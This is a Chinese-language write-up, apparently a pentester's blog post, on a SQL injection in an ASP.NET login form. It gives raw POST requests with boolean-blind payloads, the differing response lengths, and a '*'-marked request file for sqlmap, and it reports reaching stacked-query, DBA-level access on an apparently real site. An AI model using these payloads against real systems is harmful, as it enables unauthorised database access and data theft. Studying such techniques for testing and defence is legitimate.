介绍

偶尔会遇到一些注入,已经能确认存在注入,但是使用sqlmap却无法跑出来的情况,然后今日被某站扩展了思路。

某个登录位置存在注入,由于不知道账号,使用万能密码无法登录(后面测试了账号正确情况下万能密码能够登录),但是使用and以及or语句已经确定存在了注入,当时知道sqlmap跑不出来的情况下还是丢给sqlmap跑了一下,果然没跑出来。

记录

大致情况

目标情况:登录框用户名后面加一个单引号提交后跳转到错误页面,登录框用户名后面加两个单引号提交后提示登录失败。

  • 请求1

POST /xxx/login.aspx HTTP/1.1
Host: www.xxx
Connection: close

TextBox1=admin'&TextBox2=admi
  • 请求1的响应包

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 167	# 文本长度为167
Connection: close
  • 请求2

POST /xxx/login.aspx HTTP/1.1
Host: www.xxx
Connection: close

TextBox1=admin''&TextBox2=admi

  • 请求2的响应包

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1989	# 文本长度为1989
Connection: close

确定情况

这个时候我可以判定系统将单引号进行了闭合,所以没有跳转到错误页面。所以就进一步的使用and以及or语句来判断,但是最终结果是不管条件是满足状态还是不满足状态,响应的文本长度都是一样的。

sqlmap若要注入成功,需要有一个能判定的条件,但是在这里,条件满足返回的文本长度是2007,条件不满足的情况下返回的文本长度也是2007,这样sqlmap就无法判断带入的payload是否执行成功,所以这个时候虽然确定存在注入,但是sqlmap却无法成功的注入。

  • 举个例子:

payload1是一个为真的条件,将payload1提交后,服务器响应的文本长度为100。

payload2是一个为假的条件,将payload2提交后,服务器响应的文本长度为200。

这个时候,sqlmap在进行自动化注入的时候,程序就能通过服务器响应的文本长度来判断语句是否执行成功。反之,如果真条件和假条件返回的文本长度都一样,且没有其他能够识别注入的地方,那么sqlmap就无法成功的完成注入。

转折点

因为遇到过很多类似的注入,都是确定存在注入,但是却无法成功的情况,所以都打算放弃了,但是我不死心,重新构造了一个条件并提交请求,发现真条件和假条件返回的文本长度不一致,总算是有一个判断点了,所以就直接梭哈。

  • 真条件的请求

POST /xxx/login.aspx HTTP/1.1
Host: www.xxx
Connection: close

TextBox1=admin'+or+'a'='a'+and+'w'='w&TextBox2=admi
  • 真条件的响应包

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 134	# 响应文本长度为134
Connection: close

  • 假条件的请求

POST /xxx/login.aspx HTTP/1.1
Host: www.xxx
Connection: close

TextBox1=admin'+or+'a'='a'+and+'w'='g&TextBox2=admi

  • 假条件的响应包

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 411	# 响应文本长度为411
Connection: close

由于sqlmap可以通过文本长度来判断语句的执行情况,所以已经确定这里是能够成功的注入出布尔盲注类型,然后就可以将该请求保存为文件形式交给sqlmap去自动化注入,但是保存请求的时候,也需要注意,还是要一个正确的sqlmap会自动化闭合的请求才能够成功,如下所示:

POST /xxx/login.aspx HTTP/1.1
Host: www.xxx
Connection: close

TextBox1=admin'+or+'a'='a*&TextBox2=admi

将以上的请求保存为文件形式,sqlmap会自动从*号位置开始闭合并进行测试,这时候后续的语句在条件为真的情况和条件为假的情况返回结果是不一样的,所以sqlmap能够成功的跑出注入。

成功

这种位置一般立马就能判断铁定是存在一个布尔盲注的,至于其他的注入类型,交给sqlmap自行去判断吧。

我最终的结果是终于拿到了2022年第一个 堆叠+dba的注入。那后面就简单非常多了,除开盲注跑起来比较慢之外其他都还好。

后续

有些点位判断存在注入后,直接丢到sqlmap中去跑,但是跑了很多次都跑不出来,可能就是因为这个原因;还有就是要学会语句的正常闭合,有次我同事找的一个注入点,有报错,且报错的时候将sql语句给报了出来,他让我帮他看看,然后我通过将语句闭合后,就成功的增加了一个堆叠类型,这样的话能做的事情就更多了。

所以平常遇到跑不出来的注入还是需要多思考思考。

结果

通过今日的遭遇,在后续遇到同样情况的注入时,我就又有了一个新的尝试思路,毕竟万一成功了就节省了一大半的时间。当然这一切都得看后端sql语句是咋写的。

其实经过这次的经验,卡了我很久的SQL注入技术能力也突然得到了很大的提高,很多时候明明能判断那个位置存在SQL注入,但是sqlmap就是跑不出来,然后导致放弃。后来经过这次,我学会了分析语句可能的样式,以及如何闭合语句,如何加注释语句才不会出错等等。总之,收获还是蛮大的。